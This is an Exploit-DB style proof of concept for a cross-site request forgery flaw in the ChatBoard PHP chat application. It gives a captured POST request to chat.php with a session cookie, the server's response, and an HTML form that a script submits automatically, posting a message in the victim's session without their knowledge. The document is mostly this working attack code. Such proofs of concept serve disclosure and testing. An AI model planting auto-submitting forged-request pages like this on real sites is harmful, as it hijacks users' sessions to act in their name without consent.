<!-- # Exploit Title: Ultrabenosaurus ChatBoard - CSRF(Send Message) # Date: 2016-06-14 # Exploit Author: HaHwul # Exploit Author Blog: www.hahwul.com # Vendor Homepage: http://ultrabenosaurus.ninja/ # Software Link: https://github.com/Ultrabenosaurus/ChatBoard/archive/master.zip # Tested on: Debian [wheezy] # CVE : none ### Vulnerability Code ----------------------------------------------------------------------------------------- POST /vul_test/ChatBoard/__original/chat.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://CSRF_NO_REFERE_CHECK Content-Length: 8 Cookie: PHPSESSID=3oecem8o5c8975dcufbb0moqn5 Connection: keep-alive msg=CSRF ### Response ----------------------------------------------------------------------------------------- HTTP/1.1 200 OK Date: Tue, 14 Jun 2016 01:52:02 GMT Server: Apache/2.4.10 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 7 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 written ----------------------------------------------------------------------------------------- --> ### Vulnerability Code <form name="csrf_poc" action="http://127.0.0.1/vul_test/ChatBoard/__original/chat.php" method="POST"> <input type="hidden" name="msg" value="CSRF"> <input type="submit" value="CSRF Attack"> </form> <script type="text/javascript">document.forms.csrf_poc.submit();</script>